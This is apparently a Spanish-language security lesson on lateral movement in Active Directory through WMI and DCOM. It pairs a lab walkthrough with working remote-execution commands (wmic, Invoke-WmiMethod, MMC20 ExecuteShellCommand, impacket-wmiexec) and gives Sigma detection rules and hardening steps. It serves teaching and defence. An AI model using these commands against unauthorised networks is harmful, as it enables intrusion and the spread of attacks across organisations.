WMI y DCOM para movimiento lateral: qué es, cómo se explota y cómo se corrige

En un entorno de Active Directory, una vez que un atacante compromete el primer equipo, su siguiente objetivo es moverse a otros equipos de la red para encontrar credenciales de mayor privilegio, acceder a datos sensibles, o alcanzar el controlador de dominio. Este desplazamiento entre equipos se conoce como movimiento lateral.

WMI (Windows Management Instrumentation) y DCOM (Distributed Component Object Model) son dos tecnologías integradas en Windows que permiten administrar y ejecutar código en equipos remotos. Están habilitadas por defecto en entornos de dominio y no requieren instalar ninguna herramienta adicional. Para un atacante, esto las convierte en vehículos ideales de movimiento lateral: son legítimas, están firmadas por Microsoft, y su uso no levanta las mismas alarmas que herramientas como PsExec o el protocolo SMB directo. Es la quinta lección de la Tanda 10.

Esta lección describe técnicas de movimiento lateral con propósito educativo y defensivo. Toda práctica debe realizarse en entornos autorizados. El movimiento lateral no autorizado en redes reales es ilegal y constituye un delito informático.

Qué es WMI#

WMI (Windows Management Instrumentation) es la implementación de Microsoft del estándar WBEM (Web-Based Enterprise Management). Proporciona una interfaz unificada para consultar información del sistema, modificar configuraciones y ejecutar operaciones administrativas, tanto localmente como en equipos remotos.

WMI se estructura en tres capas:

Providers. Los providers son componentes que exponen datos y operaciones de un subsistema específico. Por ejemplo, Win32_Process permite consultar y crear procesos, Win32_Service gestiona servicios, y Win32_OperatingSystem devuelve información del sistema operativo.

Repositorio (CIM). El Common Information Model es la base de datos donde WMI almacena definiciones de clases, instancias y asociaciones. Se persiste en C:\Windows\System32\wbem\Repository\.

Infraestructura WMI. El servicio winmgmt (Windows Management Instrumentation) es el proceso que gestiona las solicitudes WMI. Cuando se realiza una consulta remota, el servicio en el equipo destino procesa la solicitud y devuelve el resultado.

Para ejecución remota, WMI usa DCOM como transporte. El cliente WMI se conecta al servicio WMI del equipo remoto a través de RPC/DCOM (puerto TCP 135 para el endpoint mapper, más un puerto dinámico negociado). La autenticación se realiza con las credenciales del usuario que inicia la conexión, verificadas contra el dominio o la SAM local.

Qué es DCOM y por qué es relevante#

DCOM (Distributed Component Object Model) es la extensión de COM para comunicación entre equipos en red. Permite instanciar y ejecutar objetos COM en un equipo remoto como si fueran locales. DCOM usa RPC (Remote Procedure Call) como transporte y se autentica mediante NTLM o Kerberos.

Lo relevante para el movimiento lateral es que ciertos objetos COM de Windows exponen métodos que permiten ejecutar comandos. Si un atacante puede instanciar esos objetos en un equipo remoto, puede ejecutar código arbitrario. Los objetos más abusados son:

• MMC20.Application — el objeto COM de la consola de administración de Microsoft (MMC). Su método Document.ActiveView.ExecuteShellCommand permite ejecutar cualquier comando.
• ShellWindows — representa las ventanas del Explorador de Windows. Permite navegar a una URL que ejecute código.
• ShellBrowserWindow — similar a ShellWindows, con una interfaz ligeramente diferente.
• Excel.Application, Outlook.Application — objetos COM de Office que permiten ejecutar macros o scripts remotamente.

Por qué ocurre: la causa raíz#

El movimiento lateral vía WMI y DCOM es posible porque estas tecnologías están diseñadas para la administración remota legítima y están habilitadas por defecto:

WMI remoto está habilitado por defecto. En entornos de dominio, el servicio WMI acepta conexiones remotas de cualquier administrador local del equipo. No hay que habilitar nada: funciona out of the box.

DCOM está habilitado por defecto. DCOM acepta conexiones remotas y permite instanciar objetos COM si el usuario tiene permisos. Los administradores locales tienen permisos por defecto.

El firewall de Windows permite RPC. Las reglas de firewall por defecto en perfiles de dominio permiten el tráfico RPC necesario para WMI y DCOM.

No hay separación entre administración y ejecución. WMI permite tanto consultar información como crear procesos. La clase Win32_Process tiene el método Create, que ejecuta un comando arbitrario en el equipo remoto con los privilegios del usuario autenticado.

# Ejemplo de ejecución remota con WMI (PowerShell)
# Esto es exactamente lo que haría un administrador legítimo
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "calc.exe" `
    -ComputerName EQUIPO_REMOTO `
    -Credential $cred

Tipos y variantes#

WMI con wmic.exe#

wmic.exe es la herramienta de línea de comandos nativa de Windows para WMI. Permite ejecutar consultas WQL (WMI Query Language) y métodos WMI contra equipos locales y remotos. Para movimiento lateral, el comando relevante es process call create:

wmic /node:EQUIPO_REMOTO /user:DOMINIO\usuario /password:contraseña \
    process call create "cmd.exe /c whoami > C:\temp\output.txt"

Este comando crea un proceso cmd.exe en el equipo remoto que ejecuta whoami y guarda la salida en un archivo. El proceso se ejecuta con los privilegios del usuario especificado.

DCOM con MMC20.Application#

MMC20.Application es un objeto COM que representa la consola de administración de Microsoft. El método ExecuteShellCommand permite ejecutar cualquier comando en el sistema:

# Instanciar MMC20.Application en equipo remoto
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("MMC20.Application", "EQUIPO_REMOTO")
)

# Ejecutar comando remoto
$com.Document.ActiveView.ExecuteShellCommand(
    "cmd.exe", $null, "/c whoami > C:\temp\out.txt", "7"
)

Impacket wmiexec.py#

Desde Linux, la suite Impacket proporciona wmiexec.py, que usa WMI para ejecutar comandos de forma semi-interactiva. Crea un proceso remoto y redirige la salida a un recurso compartido para leerla:

impacket-wmiexec DOMINIO/usuario:contraseña@IP_DEL_LAB

Dónde aparece#

El movimiento lateral con WMI y DCOM aparece en estos escenarios:

• Entornos de Active Directory corporativos. Donde los administradores de TI son administradores locales de múltiples equipos y sus credenciales están en caché en estaciones de trabajo.
• Post-explotación tras phishing. El atacante compromete una estación de trabajo y usa credenciales encontradas en memoria (Mimikatz) para moverse lateralmente.
• Ransomware. Grupos de ransomware como Ryuk y Conti han usado WMI para distribuir el payload a múltiples equipos simultáneamente.
• APT. Grupos como APT29 (Cozy Bear) y APT32 (OceanLotus) usan DCOM para movimiento lateral porque no deja los mismos artefactos que PsExec o servicios remotos.
• Red team. WMI y DCOM son técnicas estándar en ejercicios de red team porque son nativas, no requieren herramientas externas, y son más silenciosas que SMB lateral o PsExec.

Cómo se detecta#

La detección más eficaz se centra en los procesos hijo de WmiPrvSE.exe. Cuando WMI ejecuta un comando remoto, el servicio WMI local (WmiPrvSE.exe) es el proceso padre. Un cmd.exe o powershell.exe como hijo de WmiPrvSE.exe es un indicador fuerte de ejecución remota vía WMI:

# Regla Sigma: ejecución sospechosa vía WMI
title: Suspicious Process Creation via WMI
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith: '\WmiPrvSE.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\mshta.exe'
            - '\rundll32.exe'
    condition: selection
level: high
tags:
    - attack.lateral_movement
    - attack.t1047

Para detectar DCOM, monitoriza la instanciación remota de objetos COM conocidos:

# Regla Sigma: ejecución remota via DCOM (MMC20)
title: Remote DCOM Lateral Movement via MMC20
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith: '\mmc.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
    condition: selection
level: high
tags:
    - attack.lateral_movement
    - attack.t1021.003

Explotación paso a paso en un laboratorio#

Paso 1: enumerar equipos del dominio#

Desde el equipo comprometido en el laboratorio:

evil-winrm -i IP_DEL_LAB -u usuario -p contraseña

Enumera equipos del dominio con AD:

# Listar equipos del dominio
Get-ADComputer -Filter * | Select-Object Name, DNSHostName

Paso 2: verificar conectividad WMI#

Comprueba que puedes hacer consultas WMI al equipo objetivo:

# Consultar información del SO remoto
Get-WmiObject -Class Win32_OperatingSystem `
    -ComputerName EQUIPO_OBJETIVO |
    Select-Object Caption, Version, OSArchitecture

Paso 3: ejecución remota con WMI#

Ejecuta un comando en el equipo remoto:

# Crear un proceso remoto vía WMI
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "cmd.exe /c whoami > C:\temp\result.txt" `
    -ComputerName EQUIPO_OBJETIVO

Verifica la salida:

# Leer la salida (requiere acceso al share)
Get-Content \\EQUIPO_OBJETIVO\C$\temp\result.txt

Paso 4: ejecución vía DCOM (MMC20)#

Usa el objeto MMC20.Application para una segunda técnica:

$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID(
        "MMC20.Application", "EQUIPO_OBJETIVO"
    )
)
$com.Document.ActiveView.ExecuteShellCommand(
    "cmd.exe", $null,
    "/c hostname > C:\temp\dcom_result.txt", "7"
)

Paso 5: usar Impacket desde Kali#

Desde la máquina atacante, usa wmiexec para una shell semi-interactiva:

impacket-wmiexec DOMINIO/usuario:contraseña@IP_DEL_LAB

Una vez dentro:

C:\> whoami
dominio\usuario

C:\> hostname
EQUIPO_OBJETIVO

Qué puede lograr un atacante#

Cómo se corrige#

Reducir la superficie de ataque#

• Principio de mínimo privilegio. Los usuarios de TI no deben ser administradores locales de todos los equipos. Usar LAPS (Local Administrator Password Solution) para que cada equipo tenga una contraseña de administrador local única y rotada automáticamente.
• Deshabilitar WMI remoto donde no sea necesario. Si un servidor no necesita administración remota vía WMI, deshabilitar el acceso remoto a WMI mediante firewall o GPO.

# Bloquear WMI remoto via firewall (en equipos que no lo necesitan)
New-NetFirewallRule -DisplayName "Block WMI Remote" `
    -Direction Inbound -Protocol TCP -LocalPort 135 `
    -Action Block -Profile Domain

• Restringir DCOM. Modificar los permisos de activación y lanzamiento de DCOM en dcomcnfg para limitar qué usuarios pueden instanciar objetos COM remotamente.
• Segmentar la red. Limitar las conexiones RPC entre segmentos de red. Las estaciones de trabajo no deberían poder conectarse por RPC a otras estaciones de trabajo.

Monitorización avanzada#

• Sysmon con reglas de procesos hijo. Configurar Sysmon para registrar todos los procesos creados por WmiPrvSE.exe y mmc.exe. Cualquier cmd.exe, powershell.exe o rundll32.exe como hijo es sospechoso.
• WMI Activity Log. Habilitar el log Microsoft-Windows-WMI-Activity/Operational para registrar todas las operaciones WMI, incluyendo las remotas.
• Network detection. Monitorizar conexiones RPC/DCOM entre equipos donde no se espera administración remota. Zeek puede parsear tráfico DCE/RPC.
• LAPS + Event ID 4624. Con LAPS, cada admin local tiene password diferente. Un logon Type 3 con la cuenta de admin local desde un equipo inesperado es un indicador fuerte.

Hardening de Active Directory#

• Tiering model. Implementar el modelo de tres tiers de Microsoft: las credenciales de Tier 0 (Domain Admins) solo se usan en Domain Controllers, las de Tier 1 solo en servidores, y las de Tier 2 en estaciones de trabajo. Esto limita el impacto del movimiento lateral.
• Credential Guard. Proteger las credenciales en LSASS con Credential Guard para que el atacante no pueda extraerlas con Mimikatz tras moverse lateralmente.
• Protected Users group. Agregar las cuentas privilegiadas al grupo Protected Users, que impide la caché de credenciales y fuerza Kerberos sobre NTLM.

Errores comunes al defenderse#

• Reutilizar la contraseña de administrador local. Si todos los equipos tienen la misma contraseña de admin local, comprometer uno es comprometer todos. LAPS resuelve esto.
• No monitorizar WmiPrvSE.exe. Sin Sysmon o un EDR que registre los procesos hijo de WmiPrvSE.exe, la ejecución remota vía WMI es invisible.
• Confiar solo en detección de herramientas. WMI y DCOM son herramientas nativas de Windows. No hay firma de malware que detectar. La detección debe ser por comportamiento.
• No implementar tiering. Si un Domain Admin inicia sesión en una estación de trabajo, sus credenciales quedan en caché. El atacante que compromete esa estación tiene acceso al dominio entero.
• Ignorar el log de WMI Activity. El log Microsoft-Windows-WMI-Activity/Operational registra operaciones WMI pero no está habilitado en muchas organizaciones.
• No segmentar RPC. Permitir tráfico RPC libre entre estaciones de trabajo facilita el movimiento lateral con WMI y DCOM.

Preguntas frecuentes#

¿WMI remoto requiere credenciales de administrador?#

Sí, para ejecutar comandos remotos (Win32_Process.Create) se necesitan privilegios de administrador local en el equipo destino. Para consultas de solo lectura, algunos providers permiten acceso con usuarios limitados, pero la ejecución de código requiere admin.

¿Puedo desactivar DCOM completamente?#

Técnicamente sí, pero no es recomendable en la mayoría de entornos. Muchas aplicaciones de Microsoft (Office, MMC, tareas programadas) dependen de DCOM. La alternativa es restringir los permisos de DCOM en dcomcnfg para limitar quién puede instanciar objetos remotamente.

¿WinRM es más seguro que WMI para administración remota?#

WinRM tiene ventajas de seguridad: soporta JEA (Just Enough Administration) para limitar los comandos disponibles, genera logs más detallados (PowerShell ScriptBlock Logging), y se puede restringir a puertos específicos con certificados TLS. Si necesitas administración remota, WinRM con JEA es preferible a WMI abierto.

¿Cómo detecto movimiento lateral DCOM con MMC20.Application?#

Monitoriza procesos hijo de mmc.exe que no fueron iniciados por un usuario interactivo. Si mmc.exe se ejecuta sin que nadie haya abierto una consola MMC y tiene procesos hijo como cmd.exe, es un indicador de ejecución remota vía DCOM.

¿LAPS elimina el riesgo de movimiento lateral?#

LAPS no elimina el riesgo, pero lo reduce drásticamente. Con LAPS, cada equipo tiene una contraseña de admin local diferente y rotada automáticamente. Comprometer la contraseña de un equipo no da acceso a los demás. Sin embargo, las credenciales de dominio (Domain Admins) siguen siendo un vector si están en caché.

Resumen#

• WMI y DCOM son tecnologías nativas de Windows habilitadas por defecto que permiten ejecutar código en equipos remotos del dominio sin herramientas externas.
• wmic.exe e Invoke-WmiMethod crean procesos remotos vía Win32_Process.Create. El proceso padre en el destino es WmiPrvSE.exe.
• MMC20.Application y ShellWindows son objetos DCOM que permiten ejecutar comandos arbitrarios en equipos remotos.
• La detección se centra en procesos hijo de WmiPrvSE.exe y mmc.exe, logs de WMI Activity, y conexiones RPC entre equipos inesperados.
• LAPS es esencial: sin contraseñas de admin local únicas, comprometer un equipo equivale a comprometer toda la red.
• El modelo de tiering de Microsoft limita dónde se usan las credenciales privilegiadas, reduciendo la superficie de movimiento lateral.

Fuentes y lecturas recomendadas#

• MITRE ATT&CK T1047 — Windows Management Instrumentation
• MITRE ATT&CK T1021.003 — Remote Services: Distributed Component Object Model
• Microsoft — Windows Management Instrumentation
• Microsoft — LAPS (Local Administrator Password Solution)
• Microsoft — Securing Privileged Access (Tiering Model)
• Sigma Rules — WMI Lateral Movement